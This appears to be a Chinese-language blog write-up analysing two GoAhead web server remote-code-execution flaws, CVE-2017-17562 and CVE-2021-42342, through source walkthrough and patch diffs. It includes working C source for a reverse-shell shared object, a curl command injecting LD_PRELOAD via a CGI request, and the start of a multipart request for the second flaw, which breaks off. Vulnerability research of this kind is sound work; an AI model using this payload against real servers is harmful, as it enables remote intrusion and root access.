[ayoung@blog posts]$ cat ./CVE-2017-17562 && CVE-2021-42342.md

CVE-2017-17562 && CVE-2021-42342

[Last modified: 2025-04-22]

CVE-2017-17562

描述

CVE-2017-17562是一个远程命令执行漏洞,受影响的GoAhead版本为2.5.0到3.6.4之间。受影响的版本若启用了CGI并动态链接了CGI程序的话,则可导致远程代码执行。漏洞的原因在于cgi.c的cgiHandler函数使用了不可信任的HTTP请求参数初始化CGI脚本的环境,可使用环境变量(LD_PRELOAD),利用glibc动态链接器加载任意程序实现远程代码执行。

复现

恶意so

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="127.0.0.1";
uint32_t server_port=7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void) 
{
  //socket initialize
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
  //connect to the server
    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
        exit(0);
  //dup the socket to stdin, stdout and stderr
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
  //execute /bin/sh to get a shell
    execve("/bin/sh", 0, 0);
}

编译

gcc -shared -fPIC ./a.c -o exp.so

监听7777端口后发送请求

ayoung@ay:~$ curl -X POST --data-binary @exp.so http://127.0.0.1:8888/cgi-bin/cgitest\?LD_PRELOAD\=/proc/self/fd/0
ayoung@ay:~$ nc -lvnp 7777
Listening on 0.0.0.0 7777
Connection received on 127.0.0.1 48692
whoami
root

分析

每个请求的结构体Webs定义在 goahead.h

/**
    GoAhead request structure. This is a per-socket connection structure.
    @defgroup Webs Webs
 */
typedef struct Webs {
    WebsBuf         rxbuf;              /**< Raw receive buffer */
    WebsBuf         input;              /**< Receive buffer after de-chunking */
    WebsBuf         output;             /**< Transmit buffer after chunking */
    WebsBuf         chunkbuf;           /**< Pre-chunking data buffer */
    WebsBuf         *txbuf;
    WebsTime        since;              /**< Parsed if-modified-since time */
    WebsTime        timestamp;          /**< Last transaction with browser */
    WebsHash        vars;               /**< CGI standard variables */
    int             timeout;            /**< Timeout handle */
    char            ipaddr[ME_MAX_IP];  /**< Connecting ipaddress */
    char            ifaddr[ME_MAX_IP];  /**< Local interface ipaddress */

    int             rxChunkState;       /**< Rx chunk encoding state */
    ssize           rxChunkSize;        /**< Rx chunk size */
    char            *rxEndp;            /**< Pointer to end of raw data in input beyond endp */
    ssize           lastRead;           /**< Number of bytes last read from the socket */
    bool            eof;                /**< If at the end of the request content */

    char            txChunkPrefix[16];  /**< Transmit chunk prefix */
    char            *txChunkPrefixNext; /**< Current I/O pos in txChunkPrefix */
    ssize           txChunkPrefixLen;   /**< Length of prefix */
    ssize           txChunkLen;         /**< Length of the chunk */
    int             txChunkState;       /**< Transmit chunk state */

    char            *authDetails;       /**< Http header auth details */
    char            *authResponse;      /**< Outgoing auth header */
    char            *authType;          /**< Authorization type (Basic/DAA) */
    char            *contentType;       /**< Body content type */
    char            *cookie;            /**< Request cookie string */
    char            *decodedQuery;      /**< Decoded request query */
    char            *digest;            /**< Password digest */
    char            *ext;               /**< Path extension */
    char            *filename;          /**< Document path name */
    char            *host;              /**< Requested host */
    char            *method;            /**< HTTP request method */
    char            *password;          /**< Authorization password */
    char            *path;              /**< Path name without query. This is decoded. */
    char            *protoVersion;      /**< Protocol version (HTTP/1.1)*/
    char            *protocol;          /**< Protocol scheme (normally http|https) */
    char            *putname;           /**< PUT temporary filename */
    char            *query;             /**< Request query. This is decoded. */
    char            *realm;             /**< Realm field supplied in auth header */
    char            *referrer;          /**< The referring page */
    char            *responseCookie;    /**< Outgoing cookie */
    char            *url;               /**< Full request url. This is not decoded. */
    char            *userAgent;         /**< User agent (browser) */
    char            *username;          /**< Authorization username */
    int             sid;                /**< Socket id (handler) */
    int             listenSid;          /**< Listen Socket id */
    int             port;               /**< Request port number */
    int             state;              /**< Current state */
    int             flags;              /**< Current flags -- see above */
    int             code;               /**< Response status code */
    int             routeCount;         /**< Route count limiter */
    ssize           rxLen;              /**< Rx content length */
    ssize           rxRemaining;        /**< Remaining content to read from client */
    ssize           txLen;              /**< Tx content length header value */
    int             wid;                /**< Index into webs */
#if ME_GOAHEAD_CGI
    char            *cgiStdin;          /**< Filename for CGI program input */
    int             cgifd;              /**< File handle for CGI program input */
#endif
#if !ME_ROM
    int             putfd;              /**< File handle to write PUT data */
#endif
    int             docfd;              /**< File descriptor for document being served */
    ssize           written;            /**< Bytes actually transferred */
    ssize           putLen;             /**< Bytes read by a PUT request */

    int             finalized: 1;          /**< Request has been completed */
    int             error: 1;              /**< Request has an error */
    int             connError: 1;          /**< Request has a connection error */

    struct WebsSession *session;        /**< Session record */
    struct WebsRoute *route;            /**< Request route */
    struct WebsUser *user;              /**< User auth record */
    WebsWriteProc   writeData;          /**< Handler write I/O event callback. Used by fileHandler */
    int             encoded;            /**< True if the password is MD5(username:realm:password) */
#if ME_GOAHEAD_DIGEST
    char            *cnonce;            /**< check nonce */
    char            *digestUri;         /**< URI found in digest header */
    char            *nonce;             /**< opaque-to-client string sent by server */
    char            *nc;                /**< nonce count */
    char            *opaque;            /**< opaque value passed from server */
    char            *qop;               /**< quality operator */
#endif
#if ME_GOAHEAD_UPLOAD
    int             upfd;               /**< Upload file handle */
    WebsHash        files;              /**< Uploaded files */
    char            *boundary;          /**< Mime boundary (static) */
    ssize           boundaryLen;        /**< Boundary length */
    int             uploadState;        /**< Current file upload state */
    WebsUpload      *currentFile;       /**< Current file context */
    char            *clientFilename;    /**< Current file filename */
    char            *uploadTmp;         /**< Current temp filename for upload data */
    char            *uploadVar;         /**< Current upload form variable name */
#endif
    void            *ssl;               /**< SSL context */
} Webs;

cgi.ccgiHandler 先处理拼接出cgiPath 然后解析参数 再处理环境变量,即下面代码片段。只过滤了REMOTE_HOSTHTTP_AUTHORIZATION

    /*
        Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few
        we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point
        to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair
        in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for
        loop includes logic to grow the array size via wrealloc.
     */
    envpsize = 64;
    envp = walloc(envpsize * sizeof(char*));
    for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
        if (s->content.valid && s->content.type == string &&
            strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
            strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
            envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
            trace(5, "Env[%d] %s", n, envp[n-1]);
            if (n >= envpsize) {
                envpsize *= 2;
                envp = wrealloc(envp, envpsize * sizeof(char *));
            }
        }
    }
    *(envp+n) = NULL;

处理完后调用launchCgi启动cgi

    /*
        Now launch the process.  If not successful, do the cleanup of resources.  If successful, the cleanup will be
        done after the process completes.
     */
    if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {
    ...
    }

GoAhead对不同架构做了最终启动命令的适配,例如windows使用CreateProcess,vmworks使用taskSpawn,unix使用execve 以unix为例,launchCgi内最终启动子进程运行execve启动cgi,结合前文能够注入环境变量

pid = vfork();
    if (pid == 0) {
        /*
            Child
         */
        ...
        } else if (execve(cgiPath, argp, envp) == -1) {
            printf("content-type: text/html\n\nExecution of cgi process failed\n");
        }
        _exit(0);
    }

再回头看请求报文如何解析的,调用栈

[#0] 0x7b67396a8ef6 <cgiHandler+0x17>
[#1] 0x7b67396bc3f4 <websRunRequest+0x33a>
[#2] 0x7b67396aee66 <websPump+0x7e>
[#3] 0x7b67396aecee <readEvent+0x176>
[#4] 0x7b67396aea42 <socketEvent+0xb5>
[#5] 0x7b67396c55f5 <socketDoEvent+0xd2>
[#6] 0x7b67396c550d <socketProcess+0x59>
[#7] 0x7b67396b087c <websServiceEvents+0x47>
[#8] 0x62e0eac32a3f <main+0x5b6>

readEvent开始看 根据Webs结构体定义rxbuf存储原始请求数据。下面代码调用websRead获取输入存储到rxbufwebsRead内部使用sslReadsocketRead获取数据

/*
    The webs read handler. This is the primary read event loop. It uses a state machine to track progress while parsing
    the HTTP request.  Note: we never block as the socket is always in non-blocking mode.
 */
static void readEvent(Webs *wp)
{
    WebsBuf     *rxbuf;
    WebsSocket  *sp;
    ssize       nbytes;

	...
    rxbuf = &wp->rxbuf;

    if ((nbytes = websRead(wp, (char*) rxbuf->endp, ME_GOAHEAD_LIMIT_BUFFER)) > 0) {
        wp->lastRead = nbytes;
        bufAdjustEnd(rxbuf, nbytes);
        bufAddNull(rxbuf);
    }
    if (nbytes > 0 || wp->state > WEBS_BEGIN) {
        websPump(wp);
    }
    ...
}

WebsBuf结构如下

/************************************* Ringq **********************************/
/**
    A WebsBuf (ring queue) allows maximum utilization of memory for data storage and is ideal for input/output buffering.
    @description
    This module provides a highly efficient implementation and a vehicle for dynamic strings.
    WARNING: This is a public implementation and callers have full access to
    the queue structure and pointers. Change this module very carefully.
    \n\n
    This module follows the open/close model.
    \n\n
    Operation of a WebsBuf where bp is a pointer to a WebsBuf :

        bp->buflen contains the size of the buffer.
        bp->buf will point to the start of the buffer.
        bp->servp will point to the first (un-consumed) data byte.
        bp->endp will point to the next free location to which new data is added
        bp->endbuf will point to one past the end of the buffer.
    \n\n
    Eg. If the WebsBuf contains the data "abcdef", it might look like :
    \n\n
    +-------------------------------------------------------------------+
    |   |   |   |   |   |   |   | a | b | c | d | e | f |   |   |   |   |
    +-------------------------------------------------------------------+
      ^                           ^                       ^               ^
      |                           |                       |               |
    bp->buf                    bp->servp               bp->endp      bp->enduf
    \n\n
    The queue is empty when servp == endp.  This means that the queue will hold
    at most bp->buflen -1 bytes.  It is the fillers responsibility to ensure
    the WebsBuf is never filled such that servp == endp.
    \n\n
    It is the fillers responsibility to "wrap" the endp back to point to
    bp->buf when the pointer steps past the end. Correspondingly it is the
    consumers responsibility to "wrap" the servp when it steps to bp->endbuf.
    The bufPutc and bufGetc routines will do this automatically.
    @defgroup WebsBuf WebsBuf
    @stability Stable
 */
typedef struct WebsBuf {
    char    *buf;               /**< Holding buffer for data */
    char    *servp;             /**< Pointer to start of data */
    char    *endp;              /**< Pointer to end of data */
    char    *endbuf;            /**< Pointer to end of buffer */
    ssize   buflen;             /**< Length of ring queue */
    ssize   maxsize;            /**< Maximum size */
    int     increment;          /**< Growth increment */
} WebsBuf;

数据存储到wp->rxbuf中后,进入websPump函数 这是一个分步的处理函数,根据wp->state的状态来处理 wp->state一开始是WEBS_BEGIN,程序调用parseIncoming

PUBLIC void websPump(Webs *wp)
{
    bool    canProceed;

    for (canProceed = 1; canProceed; ) {
        switch (wp->state) {
        case WEBS_BEGIN:
            canProceed = parseIncoming(wp);
            break;
        case WEBS_CONTENT:
            canProceed = processContent(wp);
            break;
        case WEBS_READY:
            if (!websRunRequest(wp)) {
                /* Reroute if the handler re-wrote the request */
                websRouteRequest(wp);
                wp->state = WEBS_READY;
                canProceed = 1;
                continue;
            }
            canProceed = (wp->state != WEBS_RUNNING);
            break;
        case WEBS_RUNNING:
            /* Nothing to do until websDone is called */
            return;
        case WEBS_COMPLETE:
            canProceed = complete(wp, 1);
            break;
        }
    }
}

parseFirstLine()函数处理请求第一行,其中会通过getToken()获取请求方法和url 然后将url传入websUrlParse处理,其中会将url?xxxx?之后的东西存到变量query

static bool parseIncoming(Webs *wp)
{
    WebsBuf     *rxbuf;
    char        *end, c;

	...
    /*
        Parse the first line of the Http header
     */
    parseFirstLine(wp);
    if (wp->state == WEBS_COMPLETE) {
        return 1;
    }
    parseHeaders(wp);
    if (wp->state == WEBS_COMPLETE) {
        return 1;
    }
    wp->state = (wp->rxChunkState || wp->rxLen > 0) ? WEBS_CONTENT : WEBS_READY;

    websRouteRequest(wp);

    if (wp->state == WEBS_COMPLETE) {
        return 1;
    }
#if ME_GOAHEAD_CGI
    if (wp->route && wp->route->handler && wp->route->handler->service == cgiHandler) {
        if (smatch(wp->method, "POST")) {
            wp->cgiStdin = websGetCgiCommName();
            if ((wp->cgifd = open(wp->cgiStdin, O_CREAT | O_WRONLY | O_BINARY | O_TRUNC, 0666)) < 0) {
                websError(wp, HTTP_CODE_NOT_FOUND | WEBS_CLOSE, "Cannot open CGI file");
                return 1;
            }
        }
    }
#endif
#if !ME_ROM
    if (smatch(wp->method, "PUT")) {
        WebsStat    sbuf;
        wp->code = (stat(wp->filename, &sbuf) == 0 && sbuf.st_mode & S_IFDIR) ? HTTP_CODE_NO_CONTENT : HTTP_CODE_CREATED;
        wfree(wp->putname);
        wp->putname = websTempFile(ME_GOAHEAD_PUT_DIR, "put");
        if ((wp->putfd = open(wp->putname, O_BINARY | O_WRONLY | O_CREAT | O_BINARY, 0644)) < 0) {
            error("Cannot create PUT filename %s", wp->putname);
            websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR, "Cannot create the put URI");
            wfree(wp->putname);
            return 1;
        }
    }
#endif
    return 1;
}
/*
    Parse the first line of a HTTP request
 */
static void parseFirstLine(Webs *wp)
{
    char    *op, *protoVer, *url, *host, *query, *path, *port, *ext, *buf;
    int     listenPort;

    ...
    /*
        Determine the request type: GET, HEAD or POST
     */
    op = getToken(wp, 0);
    if (op == NULL || *op == '\0') {
        websError(wp, HTTP_CODE_NOT_FOUND | WEBS_CLOSE, "Bad HTTP request");
        return;
    }
    wp->method = supper(sclone(op));

    url = getToken(wp, 0);
    if (url == NULL || *url == '\0') {
        websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE, "Bad HTTP request");
        return;
    }
    if (strlen(url) > ME_GOAHEAD_LIMIT_URI) {
        websError(wp, HTTP_CODE_REQUEST_URL_TOO_LARGE | WEBS_CLOSE, "URI too big");
        return;
    }
    protoVer = getToken(wp, "\r\n");
    if (websGetLogLevel() == 2) {
        trace(2, "%s %s %s", wp->method, url, protoVer);
    }

    /*
        Parse the URL and store all the various URL components. websUrlParse returns an allocated buffer in buf which we
        must free. We support both proxied and non-proxied requests. Proxied requests will have http://host/ at the
        must free. We support both proxied and non-proxied requests. Proxied requests will have http://host/ at the
        start of the URL. Non-proxied will just be local path names.
     */
    host = path = port = query = ext = NULL;
    if (websUrlParse(url, &buf, NULL, &host, &port, &path, &ext, NULL, &query) < 0) {
        error("Cannot parse URL: %s", url);
        websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
        return;
    }
    ...
    wp->query = sclone(query);
    ...
    wfree(buf);
}
/*
    Parse the URL. A single buffer is allocated to store the parsed URL in *pbuf. This must be freed by the caller.
 */
PUBLIC int websUrlParse(char *url, char **pbuf, char **pscheme, char **phost, char **pport, char **ppath, char **pext,
        char **preference, char **pquery)
{
    char    *tok, *delim, *host, *path, *port, *scheme, *reference, *query, *ext, *buf, *buf2;
    ssize   buflen, ulen, len;
    int     sep;
    
    ...
    /*
        [scheme://][hostname[:port]][/path[.ext]][#ref][?query]
        First trim query and then reference from the end
     */
    if ((query = strchr(tok, '?')) != NULL) {
        *query++ = '\0';
    }
    ...
    if (pquery) {
        *pquery = query;
    }
    
    return 0;
}

处理结束便将请求中?之后的内容存储于wp->query中 并设置stateWEBS_CONTENTWEBS_READY (这里如果通过POST传了body上去,会根据content-length设置wp->rxLen,则会设置WEBS_CONTENT调用processContent()处理内容,如果GET不传body则设置WEBS_READYWEBS_CONTENT最终也会设置为WEBS_READY

// src/http.c:parseIncoming()
wp->state = (wp->rxChunkState || wp->rxLen > 0) ? WEBS_CONTENT : WEBS_READY;

之后状态转换为WEBS_READY,调用websRunRequest(wp) 这里不管是websSetQueryVars还是websSetFormVars最终都会调用addFormVars(wp, data);添加变量

PUBLIC bool websRunRequest(Webs *wp)
{
    ...
    if (!(wp->flags & WEBS_VARS_ADDED)) {
        if (wp->query && *wp->query) {
            websSetQueryVars(wp);
        }
        if (wp->flags & WEBS_FORM) {
            websSetFormVars(wp);
        }
        wp->flags |= WEBS_VARS_ADDED;
    }
    ...
    return (*route->handler->service)(wp);
}
/*
    NOTE: the vars variable is modified
 */
static void addFormVars(Webs *wp, char *vars)
{
    char  *keyword, *value, *prior, *tok;

    assert(wp);
    assert(vars);

    keyword = stok(vars, "&", &tok);
    while (keyword != NULL) {
        if ((value = strchr(keyword, '=')) != NULL) {
            *value++ = '\0';
            websDecodeUrl(keyword, keyword, strlen(keyword));
            websDecodeUrl(value, value, strlen(value));
        } else {
            value = "";
        }
        if (*keyword) {
            /*
                If keyword has already been set, append the new value to what has been stored.
             */
            if ((prior = websGetVar(wp, keyword, NULL)) != 0) {
                websSetVarFmt(wp, keyword, "%s %s", prior, value);
            } else {
                websSetVar(wp, keyword, value);
            }
        }
        keyword = stok(NULL, "&", &tok);
    }
}

这里同样不管走websSetVarFmt()还是websSetVar,最终调用hashEnter(wp->vars, var, v, 0);

PUBLIC void websSetVar(Webs *wp, char *var, char *value)
{
    WebsValue   v;

    assert(websValid(wp));
    assert(var && *var);

    if (value) {
        v = valueString(value, VALUE_ALLOCATE);
    } else {
        v = valueString("", 0);
    }
    hashEnter(wp->vars, var, v, 0);
}

hashEnter()中同样分类,用hashlist管理变量 通过计算出来的hindex沿着哈希表遍历,如果for结束出来时的sp不为空,说明变量重名了,此时认为之前的资源未释放,将资源释放后再覆盖; 如果sp为空,申请内存设置变量后链入 如果哈希表对应节点为空,说明这条链还没有头节点,则申请头节点填入,再申请空间设置变量后链入 设置变量使用sp->name = valueString(name, VALUE_ALLOCATE);

/*
    Enter a symbol into the table. If already there, update its value.  Always succeeds if memory available. We allocate
    a copy of "name" here so it can be a volatile variable. The value "v" is just a copy of the passed in value, so it
    MUST be persistent.
 */
WebsKey *hashEnter(WebsHash sd, char *name, WebsValue v, int arg)
{
    HashTable   *tp;
    WebsKey     *sp, *last;
    char        *cp;
    int         hindex;

    assert(name);
    assert(0 <= sd && sd < symMax);
    tp = sym[sd];
    assert(tp);

    /*
        Calculate the first daisy-chain from the hash table. If non-zero, then we have daisy-chain, so scan it and look
        for the symbol.
     */
    last = NULL;
    hindex = hashIndex(tp, name);
    if ((sp = tp->hash_table[hindex]) != NULL) {
        for (; sp; sp = sp->forw) {
            cp = sp->name.value.string;
            if (cp[0] == name[0] && strcmp(cp, name) == 0) {
                break;
            }
            last = sp;
        }
        if (sp) {
            /*
                Found, so update the value If the caller stores handles which require freeing, they will be lost here.
                It is the callers responsibility to free resources before overwriting existing contents. We will here
                free allocated strings which occur due to value_instring().  We should consider providing the cleanup
                function on the open rather than the close and then we could call it here and solve the problem.
             */
            if (sp->content.valid) {
                valueFree(&sp->content);
            }
            sp->content = v;
            sp->arg = arg;
            return sp;
        }
        /*
            Not found so allocate and append to the daisy-chain
         */
        if ((sp = (WebsKey*) walloc(sizeof(WebsKey))) == 0) {
            return NULL;
        }
        sp->name = valueString(name, VALUE_ALLOCATE);
        sp->content = v;
        sp->forw = (WebsKey*) NULL;
        sp->arg = arg;
        sp->bucket = hindex;
        last->forw = sp;

    } else {
        /*
            Daisy chain is empty so we need to start the chain
         */
        if ((sp = (WebsKey*) walloc(sizeof(WebsKey))) == 0) {
            return NULL;
        }
        tp->hash_table[hindex] = sp;
        tp->hash_table[hashIndex(tp, name)] = sp;

        sp->forw = (WebsKey*) NULL;
        sp->content = v;
        sp->arg = arg;
        sp->name = valueString(name, VALUE_ALLOCATE);
        sp->bucket = hindex;
    }
    return sp;
}

这里就是最终设置一个请求变量的地方 v.value.string = value;

WebsValue valueString(char *value, int flags)
{
    WebsValue v;

    memset(&v, 0x0, sizeof(v));
    v.valid = 1;
    v.type = string;
    if (flags & VALUE_ALLOCATE) {
        v.allocated = 1;
        v.value.string = sclone(value);
    } else {
        v.allocated = 0;
        v.value.string = value;
    }
    return v;
}

回看设置环境变量处,正是从哈希表中取出s->name.value.string并存储于envp环境变量中

// src/cgi.c:cgiHandler
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
        if (s->content.valid && s->content.type == string &&
            strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
            strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
            envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
            trace(5, "Env[%d] %s", n, envp[n-1]);
            if (n >= envpsize) {
                envpsize *= 2;
                envp = wrealloc(envp, envpsize * sizeof(char *));
            }
        }
    }

猜测本意是通过这种方式把参数传给cgi之类的,但是忽略了可以直接劫持系统环境变量

下面再分析下报文的body部分如何处理 在前文提过的parseIncoming()函数中,POST方法中wp->cgiStdin被赋值为一个``

if (smatch(wp->method, "POST")) {
            wp->cgiStdin = websGetCgiCommName();
            if ((wp->cgifd = open(wp->cgiStdin, O_CREAT | O_WRONLY | O_BINARY | O_TRUNC, 0666)) < 0) {
                websError(wp, HTTP_CODE_NOT_FOUND | WEBS_CLOSE, "Cannot open CGI file");
                return 1;
            }
        }
/*
    Returns a pointer to an allocated qualified unique temporary file name. This filename must eventually be deleted with
    wfree().
 */
PUBLIC char *websGetCgiCommName()
{
    return websTempFile(NULL, "cgi");
}

这里文件名生成是有规律的,每次count++

PUBLIC char *websTempFile(char *dir, char *prefix)
{
    static int count = 0;
    char   sep;

    sep = '/';
    if (!dir || *dir == '\0') {
#if WINCE
        dir = "/Temp";
        sep = '\\';
#elif ME_WIN_LIKE
        dir = getenv("TEMP");
        sep = '\\';
#elif VXWORKS
        dir = ".";
#else
        dir = "/tmp";
#endif
    }
    if (!prefix) {
        prefix = "tmp";
    }
    return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}

状态WEBS_CONTENT时调用的processContent()函数根据不同上传类型调用不同处理函数 POST方法会走到websProcessCgiData(),其中将body内容写入前面打开的临时文件中

PUBLIC bool websProcessCgiData(Webs *wp)
{
    ssize   nbytes;

    nbytes = bufLen(&wp->input);
    trace(5, "cgi: write %d bytes to CGI program", nbytes);
    if (write(wp->cgifd, wp->input.servp, (int) nbytes) != nbytes) {
        websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR| WEBS_CLOSE, "Cannot write to CGI gateway");
    } else {
        trace(5, "cgi: write %d bytes to CGI program", nbytes);
    }
    websConsumeInput(wp, nbytes);
    return 1;
}

查看创建的临时文件

ayoung@ay:~/goahead$ ls /tmp/cgi-*
/tmp/cgi-0.tmp  /tmp/cgi-2.tmp  /tmp/cgi-4.tmp
ayoung@ay:~/goahead$ cat /tmp/cgi-0.tmp 
B=22222222

启动cgi前会判断如果前面没有赋值wp->cgiStdin这里也会赋为一个临时文件名,并且如果之前打开过文件这里会关闭fd

/*
        Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name)
        should already exist.
     */
    if (wp->cgiStdin == NULL) {
        wp->cgiStdin = websGetCgiCommName();
    }
    stdIn = wp->cgiStdin;
    stdOut = websGetCgiCommName();
    if (wp->cgifd >= 0) {
        close(wp->cgifd);
        wp->cgifd = -1;
    }

    /*
        Now launch the process.  If not successful, do the cleanup of resources.  If successful, the cleanup will be
        done after the process completes.
     */
    if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {
        websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR, "failed to spawn CGI task");
        ...
    } else { ... }

启动cgi的时候会用临时文件重定向为cgi进程的输入输出

/*
    Launch the CGI process and return a handle to it.
 */
static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)
{
    int     fdin, fdout, pid;
    ...
    if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) {
        error("Cannot open CGI stdin: ", cgiPath);
        return -1;
    }
    if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) {
        error("Cannot open CGI stdout: ", cgiPath);
        return -1;
    }

    pid = vfork();
    if (pid == 0) {
        /*
            Child
         */
        if (dup2(fdin, 0) < 0) {
            printf("content-type: text/html\n\nDup of stdin failed\n");
            _exit(1);

        } else if (dup2(fdout, 1) < 0) {
            printf("content-type: text/html\n\nDup of stdout failed\n");
            _exit(1);
        } else if (execve(cgiPath, argp, envp) == -1) {
            printf("content-type: text/html\n\nExecution of cgi process failed\n");
        }
        _exit(0);
    }
    ...
    return pid;
}

利用

需要知道LD_PRELOAD劫持

第一种比较朴素的方法 通过前面分析知道,post的报文内容会被存放到/tmp/cgi-*.tmp,可以先将恶意so作为post参数上传,之后再爆破文件名完成利用

第二种方法 利用/proc/self/fd/0/proc/self/fd/0是指向自己进程的标准输入,对于cgi进程来说,由于它的标准输入被重定向到了tmp文件,所以/proc/self/fd/0也就指向其post报文的参数,从而无需爆破tmp文件名

补丁

切到v3.6.5,加了黑名单,过滤一些系统变量

git diff  tags/v3.6.4 tags/v3.6.5 src/cgi.c > tmp
diff --git a/src/cgi.c b/src/cgi.c
index 899ec97b..65b38556 100644
--- a/src/cgi.c
+++ b/src/cgi.c
@@ -62,7 +62,7 @@ PUBLIC bool cgiHandler(Webs *wp)
     websSetEnv(wp);
 
     /*
-        Extract the form name and then build the full path name.  The form name will follow the first '/' in path.
+        Extract the form name and then build the full path name. The form name will follow the first '/' in path.
      */
     scopy(cgiPrefix, sizeof(cgiPrefix), wp->path);
     if ((cgiName = strchr(&cgiPrefix[1], '/')) == NULL) {
@@ -151,20 +151,32 @@ PUBLIC bool cgiHandler(Webs *wp)
     *(argp+n) = NULL;
 
     /*
-        Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few
-        we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point
-        to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair
-        in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for
+        Add all CGI variables to the environment strings to be passed to the spawned CGI process.
+        This includes a few we don't already have in the symbol table, plus all those that are in
+        the vars symbol table. envp will point to a walloc'd array of pointers. Each pointer will
+        point to a walloc'd string containing the keyword value pair in the form keyword=value.
+        Since we don't know ahead of time how many environment strings there will be the for
         loop includes logic to grow the array size via wrealloc.
      */
     envpsize = 64;
     envp = walloc(envpsize * sizeof(char*));
     for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
-        if (s->content.valid && s->content.type == string &&
-            strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
-            strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
-            envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
-            trace(5, "Env[%d] %s", n, envp[n-1]);
+        if (s->content.valid && s->content.type == string) {
+            if (smatch(s->name.value.string, "REMOTE_HOST") ||
+                smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||
+                smatch(s->name.value.string, "IFS") ||
+                smatch(s->name.value.string, "CDPATH") ||
+                smatch(s->name.value.string, "PATH") ||
+                sstarts(s->name.value.string, "LD_")) {
+                continue;
+            }
+            if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') {
+                envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_VAR_PREFIX, s->name.value.string,
+                    s->content.value.string);
+            } else {
+                envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
+            }
+            trace(0, "Env[%d] %s", n, envp[n-1]);
             if (n >= envpsize) {
                 envpsize *= 2;
                 envp = wrealloc(envp, envpsize * sizeof(char *));

CVE-2021-42342

描述

近日爆出GoAhead存在RCE漏洞,漏洞源于文件上传过滤器的处理缺陷,当与CGI处理程序一起使用时,可影响环境变量,从而导致RCE。漏洞影响版本为:

GoAhead =4.x 5.x<=GoAhead<5.1.5

环境

这里有个坑,新版本goahead默认没有开启CGI配置,而老版本如果没有cgi-bin目录或里面没有cgi文件,也不受这个漏洞影响。所以影响相对没有那么广泛

这里选择v5.1.3版本搭建环境,去掉CGI相关配置注释:

diff --git a/src/route.txt b/src/route.txt
index 4dda7078..18bee21f 100644
--- a/src/route.txt
+++ b/src/route.txt
@@ -31,7 +31,7 @@
 #
 #   Standard routes
 #
-# route uri=/cgi-bin dir=cgi-bin handler=cgi
+route uri=/cgi-bin dir=cgi-bin handler=cgi
 
 route uri=/action handler=action

cgi-bin/test内容

#!/bin/bash

echo -e "Content-Type: text/plain\n"

env

后续参考环境搭建

复现

注意最后还需要有一行回车,否则下面代码将报文识别为未结束

// src/upload.c:120
if ((nextTok = memchr(line, '\n', bufLen(&wp->input))) == 0) {
                /* Incomplete line */
                canProceed = 0;
                break;
            }
POST /cgi-bin/test HTTP/1.1
Host: 192.168.130.133:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 145

------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="LD_PRELOAD"

test
------WebKitFormBoundarylNDKbe0ngCGdEiPM--

和PHP一样,GoAhead遇到上传表单时,会将这个上传的文件保存在一个临时目录下,待脚本程序处理完后会删掉这个临时文件

上传文件数据包

POST /cgi-bin/test HTTP/1.1
Host: 192.168.130.133:8888
